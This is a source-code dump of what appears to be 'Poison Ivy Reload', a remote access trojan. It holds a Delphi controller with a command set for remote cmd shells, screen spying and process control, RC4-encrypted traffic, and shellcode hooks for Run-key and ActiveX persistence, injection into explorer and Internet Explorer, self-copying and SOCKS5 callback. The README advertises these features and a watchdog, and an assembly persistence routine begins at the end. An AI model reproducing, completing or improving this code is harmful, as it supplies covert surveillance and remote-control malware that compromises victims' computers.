0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000036813C00327C3800000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00003F8D460053A35C004E9E5600317B37000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000004E9E
560057A6600076C9800073C87D00509F5800327C380000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000051A559005FB1
69007DCE88007ACC850076C9800076C9800053A35C00327C3800000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000058AF62006ABC740082D1
8E007ACC85005FB1690062B46C0076C9800076C9800053A35C00327C38000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000006ABC74007ACC85007FCE
8C0053A35C000000000099C89E0058AF62007ACC85007ACC850053A35C003681
3C00000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000006ABC74006CBF
780000000000000000000000000098C79C005EAE68007FCE8C007ACC850053A3
5C0038823E000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000097C69C0058AF62007FCE8C007FCE
8C0053A35C0038823E0000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000098C79C005FB169007FCE
8C0082D18E0053A35C0038843F00000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000098C79C0062B4
6C0082D18E007ACC850053A35C00000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000098C7
9C0062B46C005EAE680000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000099C89E000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000519BDF003289D9003289D9003289
D9003289D9003289D9003289D9003289D9003289D9003289D9003289D9003289
D9003289D900519BDF000000000000000000D6AA8D00CC936E00BB724100B668
3400B6683400B6683400AF643200AF643200AF643200AF643200A7603100AF64
3200A65F3000A65F3000A9673B00BB845F000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000003289D900DCF0FA0095E0F60095E0
F60091DDF5008DDEF5008DDEF50084DAF4007FD9F40079D7F30073D5F3006FD3
F200C1EAF8003493DA000000000000000000C27C4E00EAC4AC00EAC4AC00FEFA
F800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFA
F800FEFAF800C8997B00C7977800AC6A3E000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00007373F7004D4DF1006464FE005151FF000000000000000000000000000000
0000000000000000000000000000000000003A96DB00EFFAFE0091E5F8008EE4
F8008EE4F8007EE1F70076DEF60070DEF60066DBF5005AD8F4004DD4F3003FD1
F200CAF2FB003493DA000000000000000000B9693500EDCAB200E1A17900FEFA
F80061BF870061BF870061BF870061BF870061BF870061BF870061BF870061BF
8700FEFAF800C98C6400C8997B00A65F30000000000000000000000000004F4C
F2FF4140EDFF0000000000000000000000000000000000000000000000002725
E4FF312FEAFF0000000000000000000000000000000000000000000000008D8D
FF006868FF006464FE007D7DFF006464FE006464FE0000000000000000000000
0000000000000000000000000000000000003A96DB00F3FCFE0091E5F80091E5
F8008EE4F8008EE4F80085E2F7007EE1F70076DEF60070DEF6005AD8F4004DD4
F300CAF2FB003493DA000000000000000000B9693500EDCAB200E1A17900FEFA
F800BEDCC100BEDCC100BEDCC100BEDCC100BEDCC100BEDCC100BEDCC100BEDC
C100FEFAF800C98C6400CC9D8000A760310000000000000000005856F5FF6361
FAFF5855F6FF4341EDFF000000000000000000000000000000002E2DE6FF413F
F1FF4C4AF6FF312FEAFF000000000000000000000000000000007D7DFF006868
FF007979F9008181FF009797FF007D7DFF006464FE00C7C7C700000000000000
00000000000000000000000000000000000039A6DA00F3FCFE0091E5F80091E5
F80091E5F8008EE4F80092DBE90092D7E30092D2DC008FCED7008BC8CF0085C0
C500C9D8D6003493DA00C97F5300CC855B00BA6C3900EED0B900E1A17900FEFA
F80061BF870061BF870061BF870061BF870061BF870061BF870061BF870061BF
8700FEFAF800CC936E00CEA28300AF64320000000000000000005B58F6FF6562
FAFF7170FFFF5956F6FF4442EEFF00000000000000003734E9FF4745F2FF6362
FFFF4A48F4FF2F2DE9FF000000000000000000000000000000004141E8008181
FF009797FF007D7DFF007979F9008D8DFF00CDCDCD00B5B5B500B5B5B5000000
00000000000000000000000000000000000039A6DA00FFFFFF00FFFFFF00F3FC
FE00F3FCFE00F3FCFE0099E5F50099E5F50099E5F50099E5F50099E5F5009DE5
F400DCF0FA003493DA00FDF4ED00CB825700B9693500EED0B900E1A17900FEFA
F800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFA
F800FEFAF800D3956C00D2A68900A76031000000000000000000000000005B59
F6FF6663FAFF7471FFFF5A58F6FF4543EEFF403EECFF504DF4FF6867FFFF504E
F5FF3634EBFF00000000000000000000000000000000000000005151FF008D8D
FF00A1A1FF008D8DFF007D7DFF00CDCDCD00CDCDCD00D4D4D40053A9DF004088
DC000000000000000000000000000000000037ABDA00E8F6FB006FBBE70054A9
E2004CA4E00090C9EB00FDF4ED00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
FF00FFFFFF003493DA00EFF2E800CB825700B9693500F0D2BD00E1A17900E1A1
7900E1A17900E1A17900E1A17900E0A07700DE9E7500DE9E7500DE9E7500D698
6F00D6986F00D6986F00D6AA8D00AF6432000000000000000000000000000000
00005C5AF6FF6764FAFF7472FFFF7370FFFF706EFFFF6E6CFFFF5755F7FF3F3D
EEFF000000000000000000000000000000000000000000000000000000007D7D
FF008D8DFF00A1A1FF00CDCDCD00C7C7C700C7C7C70071ECFD0081DDF6005CB0
E400539CDD000000000000000000000000003FADDB00F3FCFE0091DDF50091DD
F50063BBE9003493DA003493DA003493DA003493DA003493DA003493DA003493
DA003493DA003493DA00FDF4ED00CB825700B9693500F2D5C100E1A17900E1A1
7900E1A17900E1A17900E1A17900E1A17900E0A07700DE9E7500DE9E7500DE9E
7500DE9E7500D6986F00DAAF9400AF6432000000000000000000000000000000
0000000000005D5BF7FF7976FFFF5956FFFF5754FFFF7270FFFF4846F0FF0000
0000000000000000000000000000000000000000000000000000000000000000
00008181FF00CDCDCD00C7C7C700D4D4D40055E4FD0044D7F4007DEFFB007CDA
F3005AAEE4003C8FDA0000000000000000003FB2DC00F3FCFE008EE4F80091DD
F50099E5F500ABE1F600CB825700FDF4ED00FFE9D900FFE9D900FFE9D900FEE6
D500FFE2CB00FFE2CB00FEF6F000CB825700B9693500F2D8C400E1A17900E1A1
7900E1A17900E1A17900E1A17900E1A17900E1A17900DE9E7500DE9E7500DE9E
7500D6986F00DE9E7500DDB49900AF6432000000000000000000000000000000
0000000000005E5BF6FF7D79FFFF5E5BFFFF5B58FFFF7674FFFF4744EFFF0000
0000000000000000000000000000000000000000000000000000000000000000
000000000000B5B5B500E7E7E700C9FAFF008FECFA0051D8F40044D7F40071EC
FD0088DDF30054A9E2003F91DA00000000003FB2DC00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00E4B99000FEF6F000FFE9D900FEE6D500FEE6D500FFE2
CB00FFE2CB00F9DCC200FDF2E700CB825700B9693500F2D8C400E8A77D00C98C
6400C98C6400CD8F6700CC936E00CC936E00C98C6400C98C6400C88B6300C98C
6400C98C6400DE9E7500DDB49900B66834000000000000000000000000000000
00006865F9FF706DFBFF807EFFFF7E7BFFFF7C79FFFF7977FFFF5E5CF7FF4946
EFFF000000000000000000000000000000000000000000000000000000000000
000000000000000000004FC5E800B3ECF900D0F9FD008FECFA0051D8F40048DA
F5006EE5F80088DDF30054A9E200579FDE0058C1E00061C2E10061C2E10061C2
E10061C2E10061C2E100E4B99000FEF6F000FFE9D900FEE6D500FEE6D500FAE1
CA00F9DCC200F7D9BB00FDF2E700CC855600B9693500F4DCC900E8A77D00F9EC
E100F9ECE100F9ECE100FCF4EE00FEFAF800FEFAF800F9ECE100F6E5D900F6E5
D900F6E5D900DE9E7500E4BDA300B6683400000000000000000000000000706D
FCFF7774FDFF8682FFFF7673FCFF6462F8FF605DF7FF6D6AFAFF7B79FFFF605D
F7FF4A47EFFF0000000000000000000000000000000000000000000000000000
00000000000000000000000000005AC1ED00AFE7F600C9FAFF0094EBFA0051D8
F40048DAF50071ECFD0081DDF6005CB0E4000000000000000000000000000000
00000000000000000000E4B99000FEF6F000FFE2CB00FEE6D500FFE2CB00F9DC
C200F7D9BB00F3D1AE00FDF2E700CB825700BA6C3900F4DCC900E8A77D00FCF4
EE00F9ECE100C98C6400FCF4EE00FCF4EE00FEFAF800FCF4EE00F8E8DE00F6E5
D900F6E5D900E0A07700E7C1A800B668340000000000000000007572FEFF7D7A
FEFF8A87FFFF7C79FDFF6C69FBFF0000000000000000615EF8FF6E6CFAFF7D7A
FFFF615FF7FF4B48F0FF00000000000000000000000000000000000000000000
00000000000000000000000000000000000064CAEB00B7EAF600C4F6FC0094EB
FA0051D8F40044D7F4007DF0FB007CDAF3000000000000000000000000000000
00000000000000000000E4B99000FEF6F000FFE2CB00FFE2CB00FADFC800F7D9
BB00F5E9DD00FAF3EB00FEF6F000CB845400BE724100F6E0D100E8A77D00FCF6
F100FCF6F100C98C6400F9ECE100FCF6F100FEFAF800FEFAF800FAF0E900F8E8
DE00F6E5D900E1A17900EFD5C200B668340000000000000000007A77FFFF817E
FFFF817EFEFF7471FDFF00000000000000000000000000000000625FF8FF6F6D
FBFF7E7CFFFF625FF8FF00000000000000000000000000000000000000000000
000000000000000000000000000000000000000000004FC5E800B7EAF600CAF7
FD008FECFA0051D8F40044D7F40071ECFD000000000000000000000000000000
00000000000000000000E4B99000FDF4ED00FBE0C700FADFC800F9DCC200F5D3
B300FEF6F000FADFC800ECC09200DBB39400C5805300F6E0D100E9A97F00FEFA
F800FEFAF800C98C6400FCF6F100FCF4EE00FCF4EE00FEFAF800FCF6F100F9EC
E100F8E7DB00EED0B900EED0B900BB7241000000000000000000000000007A77
FFFF7976FEFF0000000000000000000000000000000000000000000000006461
F8FF6A68F9FF0000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000004FC5E800B2E8
F600D0F9FD008FECFA0051D8F40048DAF5000000000000000000000000000000
00000000000000000000E4B99000FFFFFF00FDF4ED00FDF2E700FDF2E700FAEF
E400FAEFE400EABA8700DDA8860000000000D2A68900F4DCC900F6E0D100FEFA
F800FEFAF800FEFAF800FCF4EE00FAF0E900FCF4EE00FEFAF800FEFAF800FCF4
EE00F8E8DE00EED0B900CC936E00000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000064CA
EB00AFE7F600C9FAFF0092EBF90051D8F4000000000000000000000000000000
00000000000000000000EAC29C00E4B99000E4B99000E4B99000D1A17000D1A1
7000D1A1700000000000000000000000000000000000D8AA8C00C8875D00BE72
4100B9693500B9693500B9693500B9693500B9693500B9693500BA6C3900BA6C
3900BB724100C98C640000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000424D3E000000000000003E000000
2800000040000000200000000100010000000000000100000000000000000000
000000000000000000000000FFFFFF00FFFF000000000000FFFF000000000000
F9FF000000000000F0FF000000000000E07F000000000000C03F000000000000
801F000000000000840F000000000000CE07000000000000FF03000000000000
FF81000000000000FFC1000000000000FFE3000000000000FFF7000000000000
FFFF000000000000FFFF000000000000FFFF00030000FFFFFFFF00030000FFFF
F0FF00030000E7E7E07F00030000C3C3C03F00000000C183C01F00000000E007
C00F00000000F00FE00700000000F81FF00300000000F81FF80100000000F00F
FC0000000000E007FE00FC000000C183FF00FC000000C3C3FF80FC000000E7E7
FFC0FC010001FFFFFFE0FC078003FFFF00000000000000000000000000000000
000000000000}
end
object ClientSocket1: TClientSocket
Active = False
ClientType = ctBlocking
Port = 0
OnError = ClientSocket1Error
Left = 160
Top = 216
end
end
================================================
FILE: Client/UnitFormDns.pas
================================================
unit UnitFormDns;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ExtCtrls, Vcl.ComCtrls,
Vcl.Samples.Spin, Vcl.Menus, System.ImageList, Vcl.ImgList,
System.Win.ScktComp, System.StrUtils, Winapi.WinSock;
type
TDnsForm = class(TForm)
Panel_1: TPanel;
Label_SizeLeft: TLabel;
Button_1: TButton;
Button_2: TButton;
Button_3: TButton;
ListView_Dns: TListView;
Panel_Edit: TPanel;
Edit_DNS: TEdit;
SpinEdit_Port: TSpinEdit;
Label_1: TLabel;
Label_2: TLabel;
PopupMenu_1: TPopupMenu;
MenuItem_Add1: TMenuItem;
MenuItem_Delete1: TMenuItem;
MenuItem_Edit1: TMenuItem;
Button_4: TButton;
Button_5: TButton;
ImageList_1: TImageList;
MenuItem_SaveToFile1: TMenuItem;
MenuItem_LoadFromFile1: TMenuItem;
ClientSocket1: TClientSocket;
procedure FormShow(Sender: TObject);
procedure MenuItem_Add1Click(Sender: TObject);
procedure Button_4Click(Sender: TObject);
procedure Button_5Click(Sender: TObject);
procedure PopupMenu_1Popup(Sender: TObject);
procedure MenuItem_Delete1Click(Sender: TObject);
procedure MenuItem_Edit1Click(Sender: TObject);
procedure Button_1Click(Sender: TObject);
procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure Button_2Click(Sender: TObject);
procedure Button_3Click(Sender: TObject);
private
{ Private declarations }
IsEdit: Boolean;
ItemIndex: Integer;
BytesLeft: Integer;
procedure SwitchToEdit(b: Boolean);
public
{ Public declarations }
procedure LoadFromString(s: string);
function DNSList(): string;
end;
var
DnsForm: TDnsForm;
implementation
{$R *.dfm}
procedure TDnsForm.Button_1Click(Sender: TObject);
var
i: Integer;
t: DWORD;
begin
for i := 0 to ListView_Dns.Items.Count - 1 do
begin
try
ClientSocket1.Address := ListView_Dns.Items[i].Caption;
ClientSocket1.Port := StrToInt(ListView_Dns.Items[i].SubItems[0]);
ClientSocket1.Active := True;
ListView_Dns.Items[i].ImageIndex := 4;
ClientSocket1.Active := False;
except
ListView_Dns.Items[i].ImageIndex := 3;
end;
Application.ProcessMessages;
end;
end;
procedure TDnsForm.Button_2Click(Sender: TObject);
begin
ModalResult := mrOk;
end;
procedure TDnsForm.Button_3Click(Sender: TObject);
begin
ModalResult := mrCancel;
end;
procedure TDnsForm.Button_4Click(Sender: TObject);
begin
if Edit_DNS.Text = '' then
begin
MessageBox(Handle, 'Dns is empty', 'error', MB_ICONERROR or MB_OK);
Exit;
end;
if IsEdit then
begin
if BytesLeft < Length(Edit_DNS.Text) - Length(Caption) then
begin
MessageBox(Handle, 'buf not enough', 'error', MB_ICONERROR or MB_OK);
Exit;
end;
BytesLeft := BytesLeft - (Length(Edit_DNS.Text) - Length(Caption));
with ListView_Dns.Items[ItemIndex] do
begin
Caption := Edit_DNS.Text;
SubItems[0] := IntToStr(SpinEdit_Port.Value);
ImageIndex := -1;
Update;
end;
end else
begin
if BytesLeft < Length(Edit_DNS.Text) + 5 then
begin
MessageBox(Handle, 'buf not enough', 'error', MB_ICONERROR or MB_OK);
Exit;
end;
BytesLeft := BytesLeft - Length(Edit_DNS.Text) - 3;
ListView_Dns.Items.BeginUpdate;
with ListView_Dns.Items.Add do
begin
Caption := Edit_DNS.Text;
SubItems.Add(IntToStr(SpinEdit_Port.Value));
ImageIndex := -1;
end;
ListView_Dns.Items.EndUpdate;
end;
Label_SizeLeft.Caption := Format('Size Left: %d', [BytesLeft]);
SwitchToEdit(False);
end;
procedure TDnsForm.Button_5Click(Sender: TObject);
begin
SwitchToEdit(False);
end;
procedure TDnsForm.ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
ErrorCode := 0;
end;
function TDnsForm.DNSList: string;
var
i: Integer;
sl: TStringList;
begin
sl := TStringList.Create;
try
for i := 0 to ListView_Dns.Items.Count - 1 do
begin
sl.Add(ListView_Dns.Items[i].Caption + ':' + ListView_Dns.Items[i].SubItems[0]);
end;
sl.Delimiter := ',';
Result := sl.DelimitedText;
finally
FreeAndNil(sl);
end;
end;
procedure TDnsForm.FormShow(Sender: TObject);
begin
SwitchToEdit(False);
end;
procedure TDnsForm.LoadFromString(s: string);
var
sl, sl2: TStringList;
i: Integer;
begin
BytesLeft := 255;
ListView_Dns.Clear;
if s <> '' then
begin
sl := TStringList.Create;
sl2 := TStringList.Create;
try
sl.Delimiter := ',';
sl.DelimitedText := s;
for i := 0 to sl.Count - 1 do
begin
sl2.Delimiter := ':';
sl2.DelimitedText := sl.Strings[i];
with ListView_Dns.Items.Add do
begin
Caption := sl2.Strings[0];
SubItems.Add(sl2.Strings[1]);
ImageIndex := -1;
BytesLeft := BytesLeft - Length(Caption) - 3;
end;
end;
finally
FreeAndNil(sl);
FreeAndNil(sl2);
end;
end;
Label_SizeLeft.Caption := Format('Size Left: %d', [BytesLeft]);
ShowModal;
end;
procedure TDnsForm.MenuItem_Add1Click(Sender: TObject);
begin
IsEdit := False;
SwitchToEdit(True);
end;
procedure TDnsForm.MenuItem_Delete1Click(Sender: TObject);
begin
ListView_Dns.DeleteSelected;
end;
procedure TDnsForm.MenuItem_Edit1Click(Sender: TObject);
begin
ItemIndex := ListView_Dns.Selected.Index;
IsEdit := True;
Edit_DNS.Text := ListView_Dns.Selected.Caption;
SpinEdit_Port.Value := StrToInt(ListView_Dns.Selected.SubItems[0]);
SwitchToEdit(True);
end;
procedure TDnsForm.PopupMenu_1Popup(Sender: TObject);
begin
MenuItem_Delete1.Enabled := ListView_Dns.Selected <> nil;
MenuItem_Edit1.Enabled := ListView_Dns.Selected <> nil;
end;
procedure TDnsForm.SwitchToEdit(b: Boolean);
begin
if b then
begin
if not IsEdit then
begin
Edit_DNS.Text := '';
SpinEdit_Port.Value := 0;
end;
ListView_Dns.Align := alNone;
ListView_Dns.Visible := False;
Panel_1.Align := alNone;
Panel_1.Visible := False;
Panel_Edit.Align := alClient;
Panel_Edit.Visible := True;
end else
begin
ListView_Dns.Align := alClient;
ListView_Dns.Visible := True;
Panel_1.Align := alBottom;
Panel_1.Visible := True;
Panel_Edit.Align := alNone;
Panel_Edit.Visible := False;
end;
end;
end.
================================================
FILE: Client/UnitGlobal.pas
================================================
unit UnitGlobal;
interface
uses
Winapi.Windows;
const
WM_USER = $400;
WM_CONNECTED = WM_USER + 1;
WM_DISCONNECTED = WM_USER + 2;
WM_CLIENT_MESSAGE = WM_USER + 3;
WM_ADD_STATS = WM_USER + 4;
const
PACKET_HEADER_SIGNATURE = $deedbeef;
MIN_COMPRESS_DATA_SIZE = 512;
type
PPROTO_HEADER = ^TPROTO_HEADER;
TPROTO_HEADER = packed record
random: UInt32;
signature: UInt32;
cmd: UInt8;
packet_unpacked_size: UInt32;
packet_size: UInt32;
end;
TCOMMAND = (
CMD_SHELLCODE_MAIN, // shell code main
CMD_SHELLCODE_INFORMATION, // shellcode information
CMD_SHELLCODE_CMD_SHELL, // cmd_shell
CMD_SHELLCODE_THUMBNAIL, // thumbnail
CMD_SHELLCODE_SCREENSPY, // screenspy
CMD_SHELLCODE_PROCESS, // process
CMD_PING, // ping
CMD_PONG, // pingظ
CMD_LOGIN_INFO, // ½Ϣ
CMD_GET_PROCESS_LIST, // ȡб
CMD_PROCESS_LIST, // б
CMD_BEGIN_SCREENSPY, // Ļ
CMD_STOP_SCREENSPY, // رĻ
CMD_SCREENSPY_START, // ֪ͨ
CMD_SCREENSPY_DATA, // Ļ
CMD_SCREENSPY_END, // ر֪ͨ
CMD_THUMBANIL_START, // ѭȡͼ
CMD_THUMBNAIL_DATA, // Ļͼ
CMD_THUMBANIL_END, // ͼ
CMD_BEGIN_CMDSHELL, // cmdshell
CMD_STOP_CMDSHELL, // رcmdshell
CMD_CMDSHELL_START, // ֪ͨ
CMD_CMDSHELL_DATA, // cmdݣserver to client = command, client to server = cmdshell data
CMD_CMDSHELL_END // ر֪ͨ
);
const
CmdStrings: array [0..23] of string = (
'CMD_SHELLCODE_MAIN',
'CMD_SHELLCODE_INFORMATION',
'CMD_SHELLCODE_CMD_SHELL',
'CMD_SHELLCODE_THUMBNAIL',
'CMD_SHELLCODE_SCREENSPY',
'CMD_SHELLCODE_PROCESS',
'CMD_PING',
'CMD_PONG',
'CMD_LOGIN_INFO',
'CMD_GET_PROCESS_LIST',
'CMD_PROCESS_LIST',
'CMD_BEGIN_SCREENSPY',
'CMD_STOP_SCREENSPY',
'CMD_SCREENSPY_START',
'CMD_SCREENSPY_DATA',
'CMD_SCREENSPY_END',
'CMD_THUMBANIL_START',
'CMD_THUMBNAIL_DATA',
'CMD_THUMBANIL_END',
'CMD_BEGIN_CMDSHELL',
'CMD_STOP_CMDSHELL',
'CMD_CMDSHELL_START',
'CMD_CMDSHELL_DATA',
'CMD_CMDSHELL_END'
);
var
g_ListeningPort: Integer;
g_Password: AnsiString;
g_ShowBalloonHint, g_TreeVeiwLayout, g_ShowThumbnail: Boolean;
g_TotalConnections, g_TotalAttempts, g_Sent_UnCompressed, g_Recv_UnCompressed: Int64;
implementation
end.
================================================
FILE: Client/UnitRC4.pas
================================================
unit UnitRC4;
interface
type
PRC4_SBOX = ^TRC4_SBOX;
TRC4_SBOX = array [0..255] of Byte;
procedure rc4_init(var sbox: TRC4_SBOX; key: PByte; key_len: Cardinal);
procedure rc4_crypt(var sbox: TRC4_SBOX; data: Pointer; data_len: Cardinal);
implementation
procedure rc4_init(var sbox: TRC4_SBOX; key: PByte; key_len: Cardinal);
var
k: array [0..255] of Byte;
i, j: Cardinal;
temp: Byte;
begin
for i := 0 to 255 do
begin
sbox[i] := i;
k[i] := key[i mod key_len];
end;
j := 0;
for i := 0 to 255 do
begin
j := (j + sbox[i] + k[i]) mod 256;
temp := sbox[i];
sbox[i] := sbox[j];
sbox[j] := temp;
end;
end;
procedure rc4_crypt(var sbox: TRC4_SBOX; data: Pointer; data_len: Cardinal);
var
i, j, k, t: Cardinal;
temp: Byte;
d: PByte;
begin
d := PByte(data);
i := 0;
j := 0;
for k := 0 to data_len - 1 do
begin
i := (i + 1) mod 256;
j := (j + sbox[i]) mod 256;
temp := sbox[i];
sbox[i] := sbox[j];
sbox[j] := temp;
t := (sbox[i] + sbox[j]) mod 256;
d[k] := d[k] xor sbox[t];
end;
end;
end.
================================================
FILE: Client/UnitShellCodes.pas
================================================
unit UnitShellCodes;
interface
uses
Winapi.Windows;
const
CONNECT_METHOD_DIRECT = 0;
CONNECT_METHOD_SOCKS5 = 1;
STARTUP_METHOD_NONE = 0;
STARTUP_METHOD_CURRENT_RUN = 1;
STARTUP_METHOD_ACTIVEX = 2;
COPY_METHOD_NONE = 0;
COPY_METHOD_TO_WINDOWS = 1;
COPY_METHOD_TO_SYSTEM = 2;
// config
{function get_id_offset(): DWORD; external;
function get_mutex_name_offset(): DWORD; external;
function get_startup_name_offset(): DWORD; external;
function get_connect_method_offset(): DWORD; external;
function get_startup_method_offset(): DWORD; external;
function get_inject_to_ie_offset(): DWORD; external;
function get_inject_to_process_offset(): DWORD; external;
function get_inject_process_name_offset(): DWORD; external;
function get_server_list_offset(): DWORD; external;
function get_socks5_server_offset(): DWORD; external;
function get_socks5_port_offset(): DWORD; external;
function get_socks5_username_offset(): DWORD; external;
function get_socks5_password_offset(): DWORD; external;
function get_rc4_key_offset(): DWORD; external;
function get_copy_method_offset(): DWORD; external;
function get_copy_to_offset(): DWORD; external;
}
// shellcodes
{function get_loader_main_ptr(): Pointer; external;
function get_connect_server_by_socks5_ptr(): Pointer; external;
function get_startup_activex_ptr(): Pointer; external;
function get_startup_current_run_ptr(): Pointer; external;
function get_find_process_by_name_ptr(): Pointer; external;
function get_create_ie_process_ptr(): Pointer; external;
function get_injecter_ptr(): Pointer; external;
function get_copy_self_ptr(): DWORD; external;
}
function get_cmd_shell_ptr(): Pointer; external;
function get_information_ptr(): Pointer; external;
function get_main_ptr(): Pointer; external;
function get_process_ptr(): Pointer; external;
function get_screenspy_ptr(): Pointer; external;
function get_thumbnail_ptr(): Pointer; external;
{
function get_loader_main_size(): DWORD; external;
function get_connect_server_by_socks5_size(): DWORD; external;
function get_startup_activex_size(): DWORD; external;
function get_startup_current_run_size(): DWORD; external;
function get_find_process_by_name_size(): DWORD; external;
function get_create_ie_process_size(): DWORD; external;
function get_injecter_size(): DWORD; external;
function get_copy_self_size(): DWORD; external;
}
function get_cmd_shell_size(): DWORD; external;
function get_information_size(): DWORD; external;
function get_main_size(): DWORD; external;
function get_process_size(): DWORD; external;
function get_screenspy_size(): DWORD; external;
function get_thumbnail_size(): DWORD; external;
implementation
{$L 'shellcodes.obj'}
end.
================================================
FILE: Readme.md
================================================
# Poison Ivy Reload
* **Support Winxp-Win10(x86 and x64 paltform**)
* **Shellcode and FWB+ technology**
* **Single thread and single port(Inspiration comes from Bifrost Rat)**
* **增加了WOW64的支持,由于UAC的问题,有几个功能没有作用,比如ACTIVEX启动,由于更改了Loader,没有时间更改Client端的生成功能,最近好忙,等有时间再修改,先提交上来,有时间的可以Fork修改**
* **现在的shellcode结构类似于2.32,会先注入到explorer然后再注入到目标进程,增加了守护的功能**
* **请使用fasm,delphi,vs2013编译**
## Screenshot





## Features





================================================
FILE: loader v1.0/extra_function/add_startup_activex_x86.asm
================================================
include '../include/global.inc'
include 'win32a.inc'
use32
FUNCTION_DATA_BEGIN add_startup_activex_x86
proc add_startup_activex_x86 stdcall uses ebx esi edi, global_data: dword
locals
root _HKEY ?
stub _HKEY ?
tempkey _WCHAR 10 dup(?)
endl
mov esi, [global_data]
